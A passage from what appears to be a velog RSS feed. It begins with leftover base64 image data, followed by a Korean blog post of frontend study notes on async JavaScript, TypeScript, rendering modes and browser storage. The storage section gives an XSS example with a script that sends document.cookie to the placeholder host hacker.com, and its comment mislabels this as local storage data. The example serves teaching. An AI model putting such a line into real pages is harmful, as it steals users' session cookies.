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"/>
</defs>
</svg>

]]></description>
        </item>
        <item>
            <title><![CDATA[프론트엔드 학습]]></title>
            <link>https://velog.io/@charming-l/%ED%94%84%EB%A1%A0%ED%8A%B8%EC%97%94%EB%93%9C-%ED%95%99%EC%8A%B5</link>
            <guid>https://velog.io/@charming-l/%ED%94%84%EB%A1%A0%ED%8A%B8%EC%97%94%EB%93%9C-%ED%95%99%EC%8A%B5</guid>
            <pubDate>Mon, 14 Oct 2024 04:12:17 GMT</pubDate>
            <description><![CDATA[<h2 id="상태관리">상태관리</h2>
<p> <strong>서버 상태관리</strong>: 서버나 외부 데이터 소스에 저장된 데이터
<strong>전역 상태관리</strong>: Global Store에 정의되어 프로젝트 어디에서나 접근할 수 있는 상태</p>
<p>주로 서버 상태 관리를 위한 도구로는 Tanstack Query(구 React Query), SWR가 있고,
전역 상태 관리를 위한 도구로는 Redux, Redux Toolkit, MobX 등이 있다.</p>
<blockquote>
<p>예전에는 <code>useState</code>과 <code>useEffect</code>만으로 서버 데이터를 관리하였으나, 
요새는 다음과 같은 이유로 서버 데이터는 <code>Tanstack Query</code>, <code>SWR</code>로 관리하는 방식을 채택한다.</p>
</blockquote>
<ul>
<li>API 데이터를 가져오는 과정을 간소화</li>
<li>API 요청의 로딩 및 오류 상태를 관리</li>
<li>캐싱</li>
</ul>
<h2 id="null-undefined-차이">null, undefined 차이</h2>
<h3 id="null">null</h3>
<p>명시적으로 &#39;값이 없다&#39;라는 것을 나타내는 상태
주로 <strong>개발자가 의도적으로 값이 없음을 나타내고 싶을 때</strong> 사용한다. </p>
<h3 id="undefined">undefined</h3>
<p>변수가 선언되었지만, 아직 <strong>값을 할당받지 못한 상태</strong>
주로 <strong>시스템에서 자동으로 설정하는 값</strong>으로 생각하면 된다.</p>
<ul>
<li>변수에 값이 할당되지 않은 초기 상태</li>
<li>함수 값을 명시적으로 반환하지 않으면 undefined를 반환</li>
</ul>
<pre><code class="language-javascript">// 그냥 처음 알게 돼서 적어보았다.. null은 object...
typeof null // &#39;object&#39;
typeof undefined // &#39;undefined&#39;

</code></pre>
<h2 id="javscript-특징">Javscript 특징</h2>
<h3 id="싱글스레드">싱글스레드</h3>
<p>자바스크립트는 기본적으로 싱글스레드 언어로, 한 번에 하나의 작업만을 처리할 수 있다. 
비동기 처리 작업이 싱글쓰레드인 Javascript에서 어떻게 가능한가에 대해서 궁금하다면 <a href="https://velog.io/@charming-l/asdf-nz5w7n4e">여기</a>를 참고하자.</p>
<h3 id="비동기-코드-처리">비동기 코드 처리</h3>
<p>서버 데이터를 화면에 프론트엔드에서 그리고는 하지만,<br>JS는 기본적으로 순차적으로 코드를 처리하지만 비동기 코드의 처리 순서를 보장하지 않는다. 
즉 데이터를 패칭(비동기)과 같이 시간이 오래 걸리는 로직의 경우 웹 브라우저에게 맡기고,
화면을 먼저 그릴 수도 있는 것이다. 
<code>데이터 패칭 -&gt; 데이터를 가공 -&gt; 렌더링</code>
의 <strong>실행순서를 보장</strong>하는 방법이 중요하다.
JS 이와 같은 비동기 로직을 처리하기 위해 등장한 <code>callback</code>, <code>Promise</code>, <code>async-await</code>의 특징들은 다음과 같다. </p>
<h4 id="callback">callback</h4>
<p>파라미터로 전달받아 내부에서 실행되는 함수
즉, 코드를 통해 명시적으로 호출하는 함수가 아니라 함수를 등록해놓은 후 어떤 이벤트가 발생했거나 특정 시점에 도달했을 때 시스템에서 호출하는 함수를 말한다.</p>
<p>함수를 중첩해서 사용하는 방식으로, 
비동기 처리 로직이 포함된 Javascript의 함수 <strong>실행순서를 보장</strong>해주지만,
코드가 복잡하고 가독성이 떨어지는 <strong>콜백지옥</strong>에 빠지지 않게 적절한 수준으로 사용해야한다.
<img src="https://velog.velcdn.com/images/charming-l/post/179ff011-6424-458a-a2d7-08809fcc1b16/image.png" alt="콜백지옥짤">
<small> 그 유명한 콜백 지옥짤</small></p>
<h4 id="promise">Promise</h4>
<p>비동기 처리를 위한 전용 객체
비동기 콜백 함수의 수행 여부에 따라,  <code>pending(대기)</code>, <code>fulfilled(이행)</code>, <code>rejected()</code>
앞서 언급한 콜백 지옥을 해결하면서 메서드 체이닝(<code>.then</code>)으로 <strong>실행순서를 보장</strong>한다.
하지만 끊임없는 체이닝으로 코드의 가독성이 떨어지게 되는데, 
이를 <strong>프로미스 지옥</strong>이라고도 부르는 것 같다 ...<del>비동기 지옥 파뤼</del></p>
<pre><code class="language-javascript">// 사용 방법
function one(){
    return new Promise(비동기 func);
};

one()
    .then(two)
    .then(three)
    .then(four)
    .catch(errorCatch)
</code></pre>
<h4 id="async-await">async-await</h4>
<p>비동기 함수를 식별하고(<code>async</code>), 실행순서를 제어(<code>await</code>)하기 위한 키워드
비동기 코드를 동기 코드처럼 작성할 수 있다. 
즉 <strong>중첩/체이닝으로부터 자유로운 코드</strong>를 얻을 수 있다. 아래의 예시를 보자.</p>
<pre><code class="language-javascript">function asyncFunc(value) {
  return new Promise(비동기 처리 로직);
}

// async === handleAsyncFunc은 비동기 함수야!
async function handleAsyncFunc() {
  try {
    const result1 = await asyncFunc(1);    // await === 다음거 수행하지 말고 기다려!
    const result2 = await asyncFunc(result1); // (위와 동일)
    const result3 = await asyncFunc(result2);  // (위와 동일)
  } catch (errorCatch)
}

handleAsyncFunc();</code></pre>
<p>마치 비동기 코드가 아닌 마냥 순차적으로 처리되어야하는 로직들을 <code>await</code> 키워드로 나열했을 뿐이다. 이 <code>await</code> 키워드는 <code>async</code> 내에서 사용되며, 이 키워드를 만난 JS 엔진은 코드 실행을 일시중지하여 함수의 실행 순서를 보장하게 된다. 
기존의 동기 코드들과 일관성을 가지므로, 코드의 가독성이 높아진다. 굿.</p>
<h3 id="동시성">동시성</h3>
<p>동시성이란 매우 빠르게 수행되어, 거의 동시에 실행되는 것처럼 보이는 것을 말한다.
자바스크립트에서는 이 동시성을 지원하기 위해 비동기 처리를 위한 브라우저에 내장되어있는 이벤트 루프, 워커들을 활용한다. </p>
<p><strong>- Web Worker</strong>
싱글 쓰레드인 Javascript 환경에서 멀티 쓰레딩을 지원하기 위한 도구. 
별도의 쓰레드에서 Javascript 코드를 실행할 수 있어 메인 스레드의 성능을 저하시키지 않고 무거운 작업을 처리할 수 있다.
Web worker는 <strong>UI와 독립적</strong>으로 동작하기 위해 <strong>Dom에 접근 불가</strong>하며, <strong>제한된 API</strong>만 사용 가능하다.</p>
<p><strong>- Service Worker **
웹 애플리케이션의 백그라운드에서 실행되는 스크립트.
네트워크 요청을 가로채고 캐싱을 관리하는 등의 작업을 수행할 수 있다. 이를 통해 오프라인 지원 및 푸시 알림과 같은 기능을 구현할 수 있다.
Service worker는 **페이지와 독립적</strong>으로 실행되며, 페이지가 닫혀도 백그라운드에서 계속 실행된다. </p>
<p>나는 
  Web worker는 메인 쓰레드에 있는 코드들을 나누어 실행하고,
Service worker는 기존 js 코드만으로는 할 수 없는, 
  브라우저의 도움을 받아야 하는 기능들을 추가 지원하기 위한 도구로 정리했다!</p>
<h2 id="에러-핸들링">에러 핸들링</h2>
<h3 id="try-catch-활용finally">try-catch 활용(+finally)</h3>
<p>-</p>
<h3 id="async-await-내에서">async-await 내에서</h3>
<p>-</p>
<h2 id="typescript">typescript</h2>
<h3 id="type과-interface-차이">type과 interface 차이</h3>
<table align="center" style="text-align:center">
  <thead> <tr><th>-</th><th>type</th><th>interface</th></tr></thead>
  <tbody>
  <tr><td>타입 유형</td><td>원시형, 객체,<br/> 유니온, 튜플 ...</td><td>객체만</td></tr>
    <tr><td>재선언</td><td>X</td><td>O(병합)</td></tr>
    <tr><td>확장 방식</td><td>교차</td><td>상속</td></tr>
  </tbody>
</table>

<h4 id="재선언">재선언</h4>
<p><code>interface</code>는 재선언할 경우 자동으로 병합할 수 있다. 
하지만 이는 재사용성이 떨어지므로 추천하지 않는 방식.</p>
<pre><code class="language-javascript">// interface
interface Person {
    name: string;
    age: number;
}

interface Person {
    gender: string; // 기존의 Person타입에 병합됨
}

const person: Person = {
    name: &quot;Alice&quot;,
    age: 30,
    gender: &quot;female&quot;
};</code></pre>
<h4 id="병합-방식">병합 방식</h4>
<p><code>interface</code>의 경우 <code>extends</code> 키워드를 통해 상속의 개념을 사용하고,
<code>type</code>의 경우 <code>&amp;</code> 연산자를 활용해 교차 개념을 사용하여 병합한다.</p>
<pre><code class="language-javascript">// interface
interface Employee extends Person {
    employeeId: number;
}

// type
type Employee = Person &amp; {
    employeeId: number;
};</code></pre>
<h2 id="csr-ssr">CSR, SSR</h2>
<h3 id="csr-client-side-rendering">CSR, Client Side Rendering</h3>
<p>&quot; 서버에서는 빈 html 전송 -&gt; 클라이언트에서 JS를 실행해 화면을 렌더링 &quot;
<strong>화면 그리는 일을 클라이언트에게 모두 위임하는 렌더링 방식</strong>이다.
<br/>
CSR을 채택하는 가장 대표적인 React를 활용한 프로젝트를 생각해보자. 
버튼 클릭을 통한 페이지 전환시, 깜박거림이 없다. 왜일까?</p>
<p>새로운 페이지 내용을 꾸미기 위해 <strong>서버로 자원을 요청할 필요가 없기 때문</strong>이다.
대신에 화면을 꾸미기 위한 js 파일들을 클라이언트에서 가지고 있어야하기 때문에 초기 렌더링 시간이 오래 걸릴 수는 있지만 이후의 전환 속도는 빠르다.  </p>
<p> 또한 React는 <strong>크롤링이나 검색엔진에 있어 약점</strong>을 가진다. 크롤링은 서버가 요청했을 당시의 html의 정보를 긁어오지만 빈 html을 보내는 React 서비스는 내용이 노출되지 않았고, 검색엔진 또한 마찬가지였다. React의 발달과 함께 검색엔진도 이제는 React 서비스를 인덱싱할 수 있다지만, React는 자체적으로 검색엔진 최적화(SEO)에 대한 노력이 별도로 요구된다.
e.g. <code>react-helmet</code>, <code>react-snap</code> 등과 같은 메타데이터 설정 라이브러리</p>
<h3 id="ssr">SSR</h3>
<p>&quot; 서버에서 이미 화면이 꾸며진 html을 전송 &quot;
<strong>화면을 그리는 일을 서버에서 처리</strong> 후 클라이언트에게 전송하는 방식이다.
요즘 프론트엔드 생태계에서 급 부상하고 있는 Next.js가 SSR을 채택하고 있다. 
React와는 반대로 서버에서 렌더링을 부담하기 때문에 초기 렌더링시간이 빠르지만,
서버의 부하가 커진다. 
 이미 서버로부터 내용이 완성된 html이 넘어가기 때문에 크롤링, 검색엔진에 있어 강점을 가진다. </p>
<h2 id="스토리지">스토리지</h2>
<h3 id="local-storage-5mb">Local storage (5MB)</h3>
<p> <strong>브라우저가 닫혀도 계속 유지되는 스토리지</strong>로, <strong>도메인마다 독립적으로 저장</strong>된다.
Javascript로 제어되기 때문에, 누구나 악성 스크립트를 통해 접근(<code>XSS</code>)할 수 있다. 따라서 민감한 정보를 저장하는데에는 적절하지 않다. </p>
<pre><code class="language-javascript">// XSS(Cross Site Scripting) 공격 예시
// client가 해당 a 태그를 클릭하면
&lt;a href=&quot;javascript:alert(&#39;hello world&#39;)&quot;&gt;클릭해보세요&lt;/a&gt;
...
// hacker의 사이트로 내 로컬스토리지 정보 전송
&lt;script&gt;document.location=&#39;http://hacker.com/cookie?&#39;+document.cookie&lt;/script&gt;</code></pre>
<h3 id="session-storage-5mb">Session storage (5MB)</h3>
<p><strong>브라우저가 닫히면 사라지는 스토리지</strong>로, 현재 떠 있는 브라우저 탭에 종속된다.
즉 같은 페이지여도 다른 탭으로 접속하면 다른 곳에 저장된다. </p>
<h3 id="cookie-4kb">Cookie (4KB)</h3>
<p><strong>만료 유무</strong>에 따라 Session Cookie와 Persistent Cookie로 구분된다. 
Session Cookie의 생명주기는 Session Storage와,
Persistent Cookie의 생명주기는 Local Storage와 유사하다.
특정 도메인에 대해 설정된 쿠키는 해당 도메인에 대한 HTTP 요청을 보낼 때 자동으로 포함되어, 세션관리, 개인화 경험을 위한 정보 등이 관리된다. </p>
<h2 id="html">html</h2>
<h3 id="이벤트-버블링">이벤트 버블링</h3>
<h3 id="이벤트-캡쳐링">이벤트 캡쳐링</h3>
<h2 id="컴포넌트-설계시-가장-신경-써야할-것">컴포넌트 설계시 가장 신경 써야할 것</h2>
<p> React는 하나의 커다란 트리 구조로 컴포넌트가 구성된다. 따라서 서로 다른 두 컴포넌트에 같은 데이터가 필요하다고 할 때, 각 컴포넌트가 부모자식 관계로 되어있지 않은 이상, 각 컴포넌트 간의 직접적인 데이터 전달은 어렵다.</p>
<h2 id="react-hooks">react hooks</h2>
<h3 id="usememo">useMemo</h3>
<p>연산 비용이 큰 계산을 캐싱하여 성능을 최적화하는 데 사용한다. 의존성 배열이 변경되지 않는 한, 기존 값을 재사용한다.</p>
<h3 id="usecallback">useCallback</h3>
<p>함수가 다시 생성되지 않도록 캐싱하여, 함수가 자주 재생성되는 문제를 방지하고 성능을 최적화하는 데 사용한다.</p>
<h2 id="프론트-엔드-빌드-과정">프론트 엔드 빌드 과정</h2>
